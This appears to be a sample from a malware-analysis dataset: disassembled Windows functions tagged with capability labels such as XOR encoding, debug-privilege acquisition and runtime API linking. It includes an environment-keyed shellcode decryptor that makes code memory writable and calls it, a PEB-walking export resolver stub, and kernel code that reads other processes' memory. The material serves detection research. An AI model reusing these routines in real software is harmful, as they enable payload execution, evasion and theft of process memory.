joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18006efe0
Capabilities:
Hash data using fnv

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
movabs rax, 0xfffffffffffffff
mov rsi, rcx
bsr rcx, rax
mov ebx, 1
mov eax, ebx
shl rax, cl
cmp rdx, rax
jbe 0x18006f018
lea rcx, str.invalid_hash_bucket_count
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xlength_error_char_const____ptr64_]
int3
lea rax, [rdx - 1]
mov qword [rsp + 0x38], rdi
mov rdi, qword [rsi + 8]
or rax, rbx
bsr rcx, rax
mov r8, rdi
mov qword [rsp + 0x40], r14
inc ecx
shl rbx, cl
lea rcx, [rsi + 0x18]
lea rdx, [rbx + rbx]
call fcn.18006af50
mov qword [rsi + 0x38], rbx
lea rax, [rbx - 1]
mov qword [rsi + 0x30], rax
mov rcx, qword [rsi + 8]
mov rcx, qword [rcx]
cmp rcx, rdi
je 0x18006f156
mov qword [rsp + 0x30], rbp
mov rax, rcx
movabs rbp, 0xcbf29ce484222325
movabs rbx, 0x100000001b3
nop
movzx edx, byte [rax + 0x11]
movzx r9d, byte [rax + 0x10]
mov r11, qword [rsi + 0x30]
xor r9, rbp
mov rcx, qword [rcx]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x12]
imul r9, rbx
xor r9, rdx
movzx edx, byte [rax + 0x13]
imul r9, rbx
xor r9, rdx
imul r9, rbx
and r11, r9
shl r11, 4
add r11, qword [rsi + 0x18]
mov r9, qword [r11]
cmp r9, rdi
jne 0x18006f0d0
mov qword [r11], rax
mov qword [r11 + 8], rax
jmp 0x18006f145
mov rdx, qword [r11 + 8]
mov r8d, dword [rax + 0x10]
cmp r8d, dword [rdx + 0x10]
jne 0x18006f10d
mov r10, qword [rdx]
cmp r10, rax
je 0x18006f107
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
mov qword [r11 + 8], rax
jmp 0x18006f145
cmp r9, rdx
je 0x18006f121
mov rdx, qword [rdx + 8]
cmp r8d, dword [rdx + 0x10]
je 0x18006f16b
cmp r9, rdx
jne 0x18006f112
mov r10, qword [rax + 8]
mov qword [r10], rcx
mov r9, qword [rcx + 8]
mov qword [r9], rdx
mov r8, qword [rdx + 8]
mov qword [r8], rax
mov qword [rdx + 8], r9
mov qword [rcx + 8], r10
mov qword [rax + 8], r8
mov qword [r11], rax
mov rax, rcx
cmp rcx, rdi
jne 0x18006f080
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov r14, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
mov r10, qword [rdx]
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x18006f145
Function at 0x180091340
Capabilities:
Encode data using xor

Disassembly:
mov r9, r8
xor r11d, r11d
mov r10, rdx
mov r8d, r11d
cmp r9, 8
jb 0x180091377
mov rdx, r9
shr rdx, 3
imul rax, rdx, 0xfffffffffffffff8
add r9, rax
mov rax, qword [rcx]
add rcx, 8
xor rax, qword [r10]
add r10, 8
or r8, rax
sub rdx, 1
jne 0x180091360
mov rdx, r8
shr rdx, 0x20
or edx, r8d
mov r8d, edx
mov eax, edx
shr r8d, 8
or r8d, edx
shr eax, 0x10
and r8d, 0xff00
or r8d, eax
movzx eax, dl
shr r8d, 8
or r8d, eax
test r9, r9
je 0x180091478
sub rcx, r10
cmp r9, 8
jb 0x180091450
mov rax, r9
lea rdx, [r10 + 4]
and rax, 0xfffffffffffffff8
xorps xmm4, xmm4
xorps xmm3, xmm3
nop dword [rax + rax]
movd xmm2, dword [rcx + rdx - 4]
xorps xmm0, xmm0
movd xmm1, dword [rdx - 4]
lea rdx, [rdx + 8]
punpcklbw xmm2, xmm0
add r11, 8
punpcklwd xmm2, xmm0
punpcklbw xmm1, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
movd xmm1, dword [rdx - 8]
punpcklbw xmm1, xmm0
por xmm4, xmm2
movd xmm2, dword [rcx + rdx - 8]
punpcklbw xmm2, xmm0
punpcklwd xmm2, xmm0
punpcklwd xmm1, xmm0
pxor xmm2, xmm1
por xmm3, xmm2
cmp r11, rax
jb 0x1800913d0
por xmm3, xmm4
movdqa xmm0, xmm3
psrldq xmm0, 8
por xmm3, xmm0
movdqa xmm0, xmm3
psrldq xmm0, 4
por xmm3, xmm0
movd eax, xmm3
or r8d, eax
cmp r11, r9
jae 0x180091478
add r10, r11
sub r9, r11
nop word [rax + rax]
movzx edx, byte [rcx + r10]
movzx eax, byte [r10]
lea r10, [r10 + 1]
xor edx, eax
or r8d, edx
sub r9, 1
jne 0x180091460
test r8d, r8d
sete al
ret
Function at 0x180091480
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
mov r10, rdx
test r9, r9
je 0x180091624
cmp r9, 4
jb 0x1800914ca
mov rdx, r9
shr rdx, 2
imul rax, rdx, 0xfffffffffffffffc
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, dword [r10]
add r10, 4
xor eax, dword [r8]
add r8, 4
mov dword [rcx], eax
add rcx, 4
sub rdx, 1
jne 0x1800914b0
xor r11d, r11d
test r9, r9
je 0x180091624
cmp r9, 8
jb 0x1800915fe
lea rdx, [rcx - 1]
lea rax, [r8 - 1]
add rdx, r9
add rax, r9
cmp rcx, rax
ja 0x1800914fc
cmp rdx, r8
jae 0x1800915fe
lea rax, [r10 - 1]
add rax, r9
cmp rcx, rax
ja 0x180091511
cmp rdx, r10
jae 0x1800915fe
mov rdx, r10
mov qword [rsp + 0x10], rbx
sub rdx, r8
mov qword [rsp], rdi
cmp r9, 0x40
jb 0x1800915bb
mov rdi, r9
mov qword [rsp + 0x18], rsi
and edi, 0x3f
mov rsi, r9
sub rsi, rdi
mov rbx, rcx
lea rax, [r8 + 0x10]
sub rbx, r8
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
add r11, 0x40
movdqu xmm1, xmmword [rdx + rax - 0x10]
movdqu xmm2, xmmword [rdx + rax]
lea rax, [rax + 0x40]
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x40]
movdqu xmmword [rbx + rax - 0x50], xmm1
pxor xmm2, xmm0
movdqu xmm0, xmmword [rax - 0x30]
movdqu xmm1, xmmword [rdx + rax - 0x30]
movdqu xmmword [rbx + rax - 0x40], xmm2
pxor xmm1, xmm0
movdqu xmm0, xmmword [rax - 0x20]
movdqu xmm2, xmmword [rdx + rax - 0x20]
movdqu xmmword [rbx + rax - 0x30], xmm1
pxor xmm2, xmm0
movdqu xmmword [rbx + rax - 0x20], xmm2
cmp r11, rsi
jb 0x180091550
mov rsi, qword [rsp + 0x18]
cmp rdi, 8
jb 0x1800915f0
mov rbx, r9
and rbx, 0xfffffffffffffff8
mov rdi, rcx
lea rax, [r11 + r8]
sub rdi, r8
nop dword [rax]
movq xmm1, qword [rax + rdx]
add r11, 8
movq xmm0, qword [rax]
lea rax, [rax + 8]
pxor xmm1, xmm0
movq qword [rax + rdi - 8], xmm1
cmp r11, rbx
jb 0x1800915d0
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp r11, r9
jae 0x180091624
sub r10, r8
lea rdx, [r11 + r8]
sub rcx, r8
sub r9, r11
nop dword [rax + rax]
movzx eax, byte [rdx + r10]
xor al, byte [rdx]
mov byte [rdx + rcx], al
lea rdx, [rdx + 1]
sub r9, 1
jne 0x180091610
add rsp, 8
ret
Function at 0x140001240
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using djb2
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xd0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0xc8], rax
mov r8d, 0x1e
lea rdx, [rsp + 0x80]
lea rcx, str.USERNAME
mov edi, 0x1505
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r8d, 0x28
lea rdx, [rsp + 0xa0]
lea rcx, str.USERDOMAIN
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xor eax, eax
xor esi, esi
mov qword [rsp + 0x30], rax
mov ecx, esi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x70], eax
mov word [rsp + 0x74], ax
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x80]
mov byte [rsp + rcx + 0x30], al
lea rcx, [rcx + 1]
test al, al
jne 0x1400012e0
lea rcx, [rsp + 0x30]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], sil
lea rcx, [rcx + 1]
jne 0x140001300
lea r8, [rsp + 0xa0]
xor edx, edx
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140001320
lea rdx, [rsp + 0x30]
lea rcx, [0x14000322c]
call fcn.1400011e0
mov rbx, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov rcx, rbx
inc rcx
cmp byte [rax + rcx], sil
jne 0x140001350
mov r8d, esi
test rcx, rcx
je 0x1400013e7
lea rdx, [rsp + 0x30]
nop word [rax + rax]
movsx eax, byte [rdx]
lea rdx, [rdx + 1]
imul edi, edi, 0x21
inc r8d
add edi, eax
movsxd rax, r8d
cmp rax, rcx
jb 0x140001370
cmp edi, 0xd1ee3693
jne 0x1400013e7
lea rdi, section..text
mov edx, 0x1cd
mov rcx, rdi
lea r9, [rsp + 0x20]
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], sil
jne 0x1400013b4
mov rcx, rdi
movsxd rax, esi
lea rcx, [rcx + 1]
xor edx, edx
inc esi
div rbx
movzx eax, byte [rsp + rdx + 0x30]
xor byte [rcx - 1], al
cmp esi, 0x1cc
jb 0x1400013c0
call rdi
mov eax, 1
jmp 0x1400013e9
xor eax, eax
mov rcx, qword [rsp + 0xc8]
xor rcx, rsp
call fcn.140001420
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140004000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1400040d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
push rsi
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
mov rdx, qword [rdx + 0x20]
mov rsi, qword [rdx + 0x50]
xor r9, r9
movzx rcx, word [rdx + 0x4a]
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140004037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14000402d
push rdx
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
push r9
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1400040cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1400040cb
add rax, rdx
mov r8d, dword [rax + 0x20]
push rax
mov ecx, dword [rax + 0x18]
add r8, rdx
jrcxz 0x1400040ca
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
ror r9d, 0xd
add r9d, eax
cmp al, ah
jne 0x140004081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140004072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
pop r8
pop r8
add rax, rdx
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140004021
Function at 0x14000372c
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 5]
inc r8d
xor byte [rdx], al
inc rdx
cmp r8d, 5
jb 0x140003732
mov rax, rcx
ret

Function at 0x140003748
Capabilities:
Encode data using xor

Disassembly:
xor r8d, r8d
mov rdx, rcx
mov al, byte [rdx + 0x30]
inc r8d
xor al, byte [rdx]
movsx eax, al
mov word [rdx], ax
lea rdx, [rdx + 2]
cmp r8d, 0x18
jb 0x14000374e
mov rax, rcx
ret
Function at 0x140001050
Capabilities:
Find process by pid

Disassembly:
push rbx
sub rsp, 0x20
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x140001097
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x140001097
call sub.ntoskrnl.exe_PsGetProcessSectionBaseAddress
mov rbx, rax
test rax, rax
je 0x140001097
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rax, rbx
jmp 0x140001099
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x140001140
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x40
mov r8d, 0x20
lea r9, [rax + 0x10]
lea rdx, [rax - 0x28]
mov dword [rax + 0x10], r8d
mov edi, ecx
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov edx, dword [rsp + 0x58]
mov ecx, 0x400
mov r8d, 0xb1127cfc
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
jne 0x140001186
xor eax, eax
jmp 0x1400011ae
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x58]
mov rdx, rbx
mov ecx, edi
call sub.ntoskrnl.exe_ZwQuerySystemInformation
test eax, eax
je 0x1400011ab
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
jmp 0x140001182
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x140001370
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x60
mov rsi, rcx
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x140001482
and qword [rbp + 0x20], 0
lea rdx, [rbp + 0x20]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rbp + 0x20]
test rcx, rcx
je 0x140001482
mov rdi, qword [rcx + 0x28]
mov rbx, rcx
test rdi, rdi
jne 0x1400013c6
call fcn.1400011bc
mov ecx, eax
mov rdi, qword [rcx + rbx]
mov rcx, qword [rbp + 0x20]
mov rax, rdi
shr rax, 0x38
cmp al, 0x40
jne 0x140001421
cmp byte [0x140004018], 0
jne 0x140001415
xorps xmm0, xmm0
lea rdx, [rbp - 0x30]
mov rcx, rbx
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, cr3
lea rcx, [rbp - 0x30]
mov qword [0x140004010], rax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rbp + 0x20]
mov byte [0x140004018], 1
mov rbx, qword [0x140004010]
test rbx, rbx
jne 0x140001429
mov rbx, rdi
test rbx, rbx
je 0x140001482
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rsi + 0x10]
mov rcx, rbx
call fcn.1400014d4
test rax, rax
je 0x140001482
and qword [rbp + 0x28], 0
mov rcx, rax
and ecx, 0xfff
mov r8d, 0x1000
sub r8, rcx
mov r9d, 1
mov rcx, qword [rsi + 0x20]
mov rdx, rax
cmp r8, rcx
cmovae r8, rcx
lea rcx, [rbp + 0x28]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsi + 0x18]
call qword [sym.imp.ntoskrnl.exe_MmCopyMemory]
xor eax, eax
jmp 0x140001487
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001700
Capabilities:
Attach user process memory
Find process by pid

Disassembly:
mov rax, rsp
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x50
mov rsi, rcx
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x140001806
and qword [rax + 8], 0
lea rdx, [rax + 8]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140001806
mov rbx, qword [rcx + 0x28]
mov rdi, rcx
test rbx, rbx
jne 0x140001759
call fcn.1400011bc
mov ecx, eax
mov rbx, qword [rcx + rdi]
mov rcx, qword [rsp + 0x60]
mov rax, rbx
shr rax, 0x38
cmp al, 0x40
jne 0x1400017ba
cmp byte [0x140004018], 0
jne 0x1400017ae
xorps xmm0, xmm0
lea rdx, [rsp + 0x20]
mov rcx, rdi
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, cr3
lea rcx, [rsp + 0x20]
mov qword [0x140004010], rax
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov rcx, qword [rsp + 0x60]
mov byte [0x140004018], 1
mov rdi, qword [0x140004010]
test rdi, rdi
jne 0x1400017bd
mov rdi, rbx
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rdx, qword [rsi + 0x10]
mov rcx, rdi
call fcn.1400014d4
test rax, rax
je 0x140001806
mov rdx, qword [rsi + 0x18]
lea r9, [rsp + 0x68]
mov rcx, rax
mov r8d, 0x1000
and ecx, 0xfff
sub r8, rcx
mov rcx, qword [rsi + 0x20]
cmp r8, rcx
cmovae r8, rcx
mov rcx, rax
call fcn.14000168c
xor eax, eax
jmp 0x14000180b
mov eax, 0xc0000001
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x180007628
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r15, rdx
xor r12d, r12d
xor r9d, r9d
mov qword [rax - 0x38], r12
mov dword [rax - 0x40], 0x80
mov dword [rax - 0x48], 3
mov rax, qword [0x1800131f8]
xor r8d, r8d
mov edx, 0x80000000
call qword [rax + 0xe4]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x18000767f
xor eax, eax
jmp 0x18000784e
mov rcx, rax
mov rax, qword [0x1800131f8]
lea r9, [rsp + 0x88]
lea rdx, [rsp + 0x88]
xor r8d, r8d
call qword [rax + 0xec]
mov rax, qword [0x1800131f8]
xor edx, edx
mov rcx, rsi
call qword [rax + 0x4c]
mov r14d, eax
cmp eax, 0xffffffff
je 0x180007678
mov rdi, qword [0x1800131f8]
lea ebx, [r14 + 1]
call qword [rdi + 0x19c]
mov r8d, ebx
mov edx, 8
mov rcx, rax
call qword [rdi + 0x1a4]
mov rbp, rax
test rax, rax
je 0x180007678
mov rax, qword [0x1800131f8]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [rax + 0x11c]
mov rax, qword [0x1800131f8]
lea r9, [rsp + 0x80]
mov r8d, r14d
mov rdx, rbp
mov rcx, rsi
mov dword [rsp + 0x80], r12d
mov qword [rsp + 0x20], r12
call qword [rax + 0x10c]
test eax, eax
mov rax, qword [0x1800131f8]
mov rcx, rsi
jne 0x18000775a
call qword [rax + 0x12c]
mov rbx, qword [0x1800131f8]
call qword [rbx + 0x19c]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [rbx + 0x1ac]
jmp 0x180007678
call qword [rax + 0x12c]
test r14d, r14d
je 0x180007776
mov rax, rbp
mov rcx, r14
xor byte [rax], 0x55
inc rax
dec rcx
jne 0x18000776b
mov rax, qword [0x1800131f8]
mov qword [rsp + 0x30], r12
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
mov rcx, r15
mov dword [rsp + 0x28], 0x22
mov dword [rsp + 0x20], 2
call qword [rax + 0xe4]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x18000773a
mov rcx, rax
mov rax, qword [0x1800131f8]
lea r9, [rsp + 0x80]
mov r8d, r14d
mov rdx, rbp
mov qword [rsp + 0x20], r12
call qword [rax + 0x114]
mov rdx, qword [0x1800131f8]
mov rcx, rbx
mov edi, eax
call qword [rdx + 0x124]
mov r10, qword [0x1800131f8]
lea r9, [rsp + 0x88]
lea rdx, [rsp + 0x88]
xor r8d, r8d
mov rcx, rbx
call qword [r10 + 0xf4]
mov rdx, qword [0x1800131f8]
mov rcx, rbx
call qword [rdx + 0x12c]
mov rbx, qword [0x1800131f8]
call qword [rbx + 0x19c]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [rbx + 0x1ac]
cmp edi, 1
jne 0x18000784c
mov rax, qword [0x1800131f8]
mov rcx, r15
call qword [rax + 0x44]
cmp eax, 0xffffffff
cmove edi, r12d
mov eax, edi
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
Function at 0x180007868
Capabilities:
Acquire debug privileges

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x1800133b8]
xor ebx, ebx
test rax, rax
jne 0x18000788c
xor eax, eax
jmp 0x180007945
cmp qword [0x1800131f8], rbx
je 0x180007885
lea r8, [rsp + 0x48]
mov edx, 0x28
call qword [rax + 4]
test eax, eax
je 0x180007943
mov rax, qword [0x1800133b8]
lea r8, [rsp + 0x50]
lea rdx, [0x180001278]
xor ecx, ecx
call qword [rax + 0x1c]
test eax, eax
je 0x180007931
mov rax, qword [0x1800131f8]
mov edx, 0x10
lea ecx, [rdx + 0x30]
call qword [rax + 0x17c]
mov rdi, rax
test rax, rax
je 0x180007931
mov esi, 1
mov r8, rax
xor edx, edx
mov dword [rax], esi
mov rcx, qword [rsp + 0x50]
mov dword [rax + 0xc], 2
mov qword [rax + 4], rcx
mov rax, qword [0x1800133b8]
mov rcx, qword [rsp + 0x48]
lea r9d, [rsi + 7]
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call qword [rax + 0x24]
mov rdx, qword [0x1800131f8]
mov rcx, rdi
test eax, eax
cmovne ebx, esi
call qword [rdx + 0x184]
mov rdx, qword [0x1800131f8]
mov rcx, qword [rsp + 0x48]
call qword [rdx + 0x12c]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x180009268
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x180009354
test rdx, rdx
je 0x180009354
and dword [rcx], 0
lea rsi, [0x180013200]
mov rcx, rsi
call fcn.180002120
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 4], rax
test rax, rax
je 0x180009354
mov rcx, rsi
call fcn.18000369c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0xc], rax
test rax, rax
je 0x180009354
mov rcx, rsi
call fcn.180001ae8
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x14], rax
test rax, rax
je 0x180009354
mov rcx, rsi
call fcn.180001a9c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x1c], rax
test rax, rax
je 0x180009354
mov rcx, rsi
call fcn.1800015e0
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x24], rax
test rax, rax
je 0x180009354
mov rcx, rsi
call fcn.180002150
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x2c], rax
test rax, rax
je 0x180009354
mov eax, 1
mov dword [rbx], eax
jmp 0x180009356
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x180009368
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
je 0x180009475
test rdx, rdx
je 0x180009475
and dword [rcx], 0
lea rsi, [0x180013200]
mov rcx, rsi
call fcn.18000247c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 4], rax
test rax, rax
je 0x180009475
mov rcx, rsi
call fcn.18000243c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0xc], rax
test rax, rax
je 0x180009475
mov rcx, rsi
call fcn.180002354
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x14], rax
test rax, rax
je 0x180009475
mov rcx, rsi
call fcn.1800023a8
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x1c], rax
test rax, rax
je 0x180009475
mov rcx, rsi
call fcn.1800023f0
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x24], rax
test rax, rax
je 0x180009475
mov rcx, rsi
call fcn.1800026d4
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x2c], rax
test rax, rax
je 0x180009475
mov rcx, rsi
call fcn.18000268c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x34], rax
test rax, rax
je 0x180009475
mov eax, 1
mov dword [rbx], eax
jmp 0x180009477
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x18000a30c
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
test rcx, rcx
jne 0x18000a32d
xor eax, eax
jmp 0x18000a4c3
test rdx, rdx
je 0x18000a326
and dword [rcx], 0
lea rsi, [0x180013200]
mov rcx, rsi
call fcn.180003b9c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 4], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003b5c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0xc], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003bd4
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x14], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003ac8
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x1c], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003d8c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x24], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003d40
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x2c], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003c70
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x34], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003c1c
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x3c], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003d00
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x44], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003cb8
mov rcx, rdi
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbx + 0x4c], rax
test rax, rax
je 0x18000a326
mov rcx, rsi
call fcn.180003dd4
mov rcx, rdi
mov rdx, rax
